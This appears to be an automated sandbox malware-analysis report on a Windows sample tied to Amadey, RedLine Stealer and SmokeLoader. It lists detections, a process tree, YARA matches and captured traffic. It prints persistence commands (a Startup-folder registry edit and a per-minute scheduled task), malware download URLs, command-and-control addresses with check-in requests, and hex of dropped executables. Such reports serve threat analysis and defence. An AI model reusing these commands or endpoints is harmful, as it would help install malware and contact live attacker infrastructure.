Play interactive tour

Edit tour

Windows Analysis Report V1yj2IcuOo.exe

Overview

General Information

Sample Name:	V1yj2IcuOo.exe
Analysis ID:	467947
MD5:	417141e9d2e0fed64579e7ae12507eac
SHA1:	51142084ed69f120bd232ee82aebb7aa45382359
SHA256:	b87200fd33230fb9a0c284b030ca1c07f5b63c379531de918c7da6288281c5e3
Tags:	Amadeyexe
Infos:
Most interesting Screenshot:

Detection

Amadey RedLine SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected SmokeLoader

Yara detected Amadey bot

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

Tries to detect sandboxes and other dynamic analysis tools (window names)

Query firmware table information (likely to detect VMs)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Uses known network protocols on non-standard ports

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Uses schtasks.exe or at.exe to add and modify task schedules

Checks if the current machine is a virtual machine (disk enumeration)

Tries to harvest and steal browser information (history, passwords, etc)

Hides threads from debuggers

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

.NET source code contains method to dynamically call methods (often used by packers)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Creates an undocumented autostart registry key

Machine Learning detection for dropped file

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Uses reg.exe to modify the Windows registry

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Found potential string decryption / allocating functions

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to call native functions

Sigma detected: Direct Autorun Keys Modification

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

AV process strings found (often used to terminate AV products)

Detected TCP or UDP traffic on non-standard ports

Contains capabilities to detect virtual machines

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Classification

Process Tree

System is w10x64

V1yj2IcuOo.exe (PID: 1480 cmdline: 'C:\Users\user\Desktop\V1yj2IcuOo.exe' MD5: 417141E9D2E0FED64579E7AE12507EAC)

explorer.exe (PID: 3292 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

337E.exe (PID: 2172 cmdline: C:\Users\user~1\AppData\Local\Temp\337E.exe MD5: 36A20734FCA63AC4F6DC2AA43C3B45CF)

conhost.exe (PID: 5592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

AEC9.exe (PID: 5836 cmdline: C:\Users\user~1\AppData\Local\Temp\AEC9.exe MD5: EC10291029375563C6F4F5151700E789)

conhost.exe (PID: 4608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

D955.exe (PID: 2896 cmdline: C:\Users\user~1\AppData\Local\Temp\D955.exe MD5: 2C5C6CE3DE7579CDCA4B07A150978B0C)

hnbux.exe (PID: 5232 cmdline: 'C:\Users\user~1\AppData\Local\Temp\bd1299733e\hnbux.exe' MD5: 2C5C6CE3DE7579CDCA4B07A150978B0C)

cmd.exe (PID: 1384 cmdline: 'C:\Windows\System32\cmd.exe' /C REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 1404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

reg.exe (PID: 3440 cmdline: REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\ MD5: CEE2A7E57DF2A159A065A34913A055C2)

schtasks.exe (PID: 2220 cmdline: 'C:\Windows\System32\schtasks.exe' /Create /SC MINUTE /MO 1 /TN hnbux.exe /TR 'C:\Users\user~1\AppData\Local\Temp\bd1299733e\hnbux.exe' /F MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 2836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

E6D3.exe (PID: 5524 cmdline: C:\Users\user~1\AppData\Local\Temp\E6D3.exe MD5: D0AA9F9F1051D5EC09152411A540E392)

conhost.exe (PID: 2872 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cbfafth (PID: 5836 cmdline: C:\Users\user\AppData\Roaming\cbfafth MD5: 417141E9D2E0FED64579E7AE12507EAC)

hnbux.exe (PID: 2160 cmdline: C:\Users\user~1\AppData\Local\Temp\bd1299733e\hnbux.exe MD5: 2C5C6CE3DE7579CDCA4B07A150978B0C)

cleanup

Malware Configuration

No configs have been found

Yara Overview

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000021.00000002.518966654.0000000005DD5000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000015.00000002.464236334.0000000004220000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000015.00000002.463803382.0000000004180000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000021.00000002.522724822.0000000007250000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000012.00000002.370199951.0000000002420000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000021.00000002.517014320.0000000004B30000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.310262930.00000000024F0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000015.00000002.472539078.0000000005575000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000015.00000003.377131232.00000000024BA000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000012.00000002.370470879.00000000026C1000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000022.00000002.514819186.00000000025C2000.00000004.00000001.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000022.00000002.515067062.000000000261E000.00000004.00000001.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000000.00000002.310454214.00000000025B1000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000021.00000003.476719816.0000000002DCD000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000021.00000002.516647880.0000000004A30000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000015.00000002.464882923.0000000004510000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: 337E.exe PID: 2172	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: E6D3.exe PID: 5524	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: hnbux.exe PID: 5232	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author
33.2.E6D3.exe.7250000.9.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
21.2.337E.exe.4180000.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
21.2.337E.exe.4260086.5.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
33.2.E6D3.exe.5dd5530.8.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
21.3.337E.exe.24ba9a8.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
21.2.337E.exe.4260f6e.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
33.2.E6D3.exe.5df0950.6.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
21.2.337E.exe.4180ee8.3.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
21.2.337E.exe.4180ee8.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
33.2.E6D3.exe.4a70f6e.3.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
21.3.337E.exe.24ba9a8.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
21.2.337E.exe.4510000.6.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
33.3.E6D3.exe.2dcd550.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
21.2.337E.exe.4510000.6.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
33.2.E6D3.exe.4a70f6e.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
33.2.E6D3.exe.5dd6418.7.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
33.2.E6D3.exe.4b30ee8.5.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
21.2.337E.exe.4180000.2.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
33.2.E6D3.exe.5dd5530.8.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
33.2.E6D3.exe.7250000.9.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
33.2.E6D3.exe.4b30000.4.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
21.2.337E.exe.4260f6e.4.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
33.2.E6D3.exe.5dd6418.7.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
21.2.337E.exe.4260086.5.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
33.3.E6D3.exe.2dcd550.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
33.2.E6D3.exe.4b30000.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
33.2.E6D3.exe.4b30ee8.5.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
33.2.E6D3.exe.4a70086.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
33.2.E6D3.exe.5df0950.6.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
33.2.E6D3.exe.4a70086.2.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
28.2.AEC9.exe.aa0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 26 entries

Sigma Overview

System Summary:

Sigma detected: Direct Autorun Keys Modification

Show sources

Source: Process started

Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\, CommandLine: REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\, CommandLine|base64offset|contains: DA, Image: C:\Windows\SysWOW64\reg.exe, NewProcessName: C:\Windows\SysWOW64\reg.exe, OriginalFileName: C:\Windows\SysWOW64\reg.exe, ParentCommandLine: 'C:\Windows\System32\cmd.exe' /C REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 1384, ProcessCommandLine: REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\, ProcessId: 3440

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://193.142.59.119/forum/images/sefile.exe	Avira URL Cloud: Label: malware
Source: http://193.142.59.119/forum/images/sefile2.exe	Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Show sources

Source: V1yj2IcuOo.exe

ReversingLabs: Detection: 32%

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Roaming\cbfafth

ReversingLabs: Detection: 32%

Machine Learning detection for sample

Show sources

Source: V1yj2IcuOo.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Roaming\cbfafth	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Joe Sandbox ML: detected

Source: V1yj2IcuOo.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

Source: C:\Users\user\Desktop\V1yj2IcuOo.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 217.107.34.191:443 -> 192.168.2.7:49756 version: TLS 1.2

Source:	Binary string: C:\ruxeli_habewe3.pdb source: V1yj2IcuOo.exe, 00000000.00000000.239212777.000000000041D000.00000002.00020000.sdmp, cbfafth, 00000012.00000000.350780264.000000000041D000.00000002.00020000.sdmp
Source:	Binary string: JC:\hacol56\mebovozosatuve89_luyipuz.pdb source: 337E.exe, 00000015.00000000.372058624.000000000041D000.00000002.00020000.sdmp
Source:	Binary string: D:\Mktmp\NL1\Release\NL1.pdb source: D955.exe, 00000020.00000003.468266674.0000000002630000.00000004.00000001.sdmp, hnbux.exe, 00000022.00000002.510046620.0000000000400000.00000040.00020000.sdmp
Source:	Binary string: C:\venage23_dede\69\wefixikusolaba_46 bi.pdb source: hnbux.exe, 00000022.00000000.472516249.000000000041D000.00000002.00020000.sdmp
Source:	Binary string: _.pdb source: 337E.exe, 00000015.00000002.464236334.0000000004220000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.518966654.0000000005DD5000.00000004.00000001.sdmp
Source:	Binary string: (C:\venage23_dede\69\wefixikusolaba_46 bi.pdb source: hnbux.exe, 00000022.00000000.472516249.000000000041D000.00000002.00020000.sdmp
Source:	Binary string: C:\hacol56\mebovozosatuve89_luyipuz.pdb source: 337E.exe, 00000015.00000000.372058624.000000000041D000.00000002.00020000.sdmp

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.7:49760 -> 185.215.113.206:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.7:49762 -> 185.215.113.206:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.7:49766 -> 185.215.113.206:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.7:49767 -> 185.215.113.206:80

Uses known network protocols on non-standard ports

Show sources

Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 8889
Source: unknown	Network traffic detected: HTTP traffic on port 8889 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 8889 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 8889
Source: unknown	Network traffic detected: HTTP traffic on port 8889 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 8889 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 8889
Source: unknown	Network traffic detected: HTTP traffic on port 8889 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 8889 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 8889
Source: unknown	Network traffic detected: HTTP traffic on port 8889 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 8889 -> 49748

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 185.215.113.29:8889Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 185.215.113.29:8889Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 185.215.113.29:8889Content-Length: 12369Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 185.215.113.29:8889Content-Length: 1390Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ade489ed3a5e311199ef7ebb583590cHost: 185.215.113.206Content-Length: 94583Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.206Content-Length: 86Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 32 61 34 61 37 37 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 31 39 36 33 35 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=2a4a77&os=1&bi=1&ar=1&pc=019635&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.206Content-Length: 86Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 32 61 34 61 37 37 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 31 39 36 33 35 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=2a4a77&os=1&bi=1&ar=1&pc=019635&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ade489ed3a5e311199ef7ebb583590cHost: 185.215.113.206Content-Length: 94583Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.206Content-Length: 86Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 32 61 34 61 37 37 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 31 39 36 33 35 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=2a4a77&os=1&bi=1&ar=1&pc=019635&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ade489ed3a5e311199ef7ebb583590cHost: 185.215.113.206Content-Length: 94583Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.206Content-Length: 86Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 32 61 34 61 37 37 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 31 39 36 33 35 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=2a4a77&os=1&bi=1&ar=1&pc=019635&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.206Content-Length: 86Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 32 61 34 61 37 37 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 31 39 36 33 35 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=2a4a77&os=1&bi=1&ar=1&pc=019635&un=user&dm=&av=13&lv=0

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 19 Aug 2021 05:53:09 GMTServer: Apache/2.4.6 (CentOS) PHP/5.4.16Last-Modified: Thu, 19 Aug 2021 05:30:02 GMTETag: "56800-5c9e2d7b2a832"Accept-Ranges: bytesContent-Length: 354304Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 e4 34 2e 64 85 5a 7d 64 85 5a 7d 64 85 5a 7d 7a d7 cf 7d 75 85 5a 7d 7a d7 d9 7d 0f 85 5a 7d 7a d7 de 7d 53 85 5a 7d 43 43 21 7d 67 85 5a 7d 64 85 5b 7d e9 85 5a 7d 7a d7 d0 7d 65 85 5a 7d 7a d7 ce 7d 65 85 5a 7d 7a d7 cb 7d 65 85 5a 7d 52 69 63 68 64 85 5a 7d 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 0b 48 7d 5e 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 b8 01 00 00 50 fb 01 00 00 00 00 70 1a 00 00 00 10 00 00 00 d0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 10 fc 01 00 04 00 00 ea eb 05 00 03 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 78 48 02 00 28 00 00 00 00 10 fb 01 c8 fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 d2 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 3f 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 d0 01 00 f8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 00 b8 01 00 00 10 00 00 00 b8 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ce 83 00 00 00 d0 01 00 00 84 00 00 00 bc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 1c a3 f8 01 00 60 02 00 00 2a 02 00 00 40 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 c8 fd 00 00 00 10 fb 01 00 fe 00 00 00 6a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 19 Aug 2021 05:53:39 GMTServer: Apache/2.4.6 (CentOS) PHP/5.4.16Last-Modified: Wed, 18 Aug 2021 15:42:15 GMTETag: "3a4bb8-5c9d74751b684"Accept-Ranges: bytesContent-Length: 3820472Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 20 e2 00 b9 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 ca 02 00 00 20 03 00 00 00 00 00 90 b3 54 00 00 20 00 00 00 00 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 8a 00 00 04 00 00 1b 8c 3a 00 03 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3a 40 06 00 50 00 00 00 00 60 87 00 2b 0b 03 00 00 00 00 00 00 00 00 00 b0 3e 3a 00 08 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 20 20 20 20 20 00 e0 02 00 00 20 00 00 00 6c 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 20 20 20 20 20 20 20 20 2a 10 00 00 00 00 03 00 00 08 00 00 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 f0 9f 87 ae f0 9f 87 b9 f8 e9 02 00 00 20 03 00 00 ea 02 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 20 20 20 20 20 20 20 20 0c 00 00 00 00 20 06 00 00 02 00 00 00 62 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 69 64 61 74 61 00 00 00 20 00 00 00 40 06 00 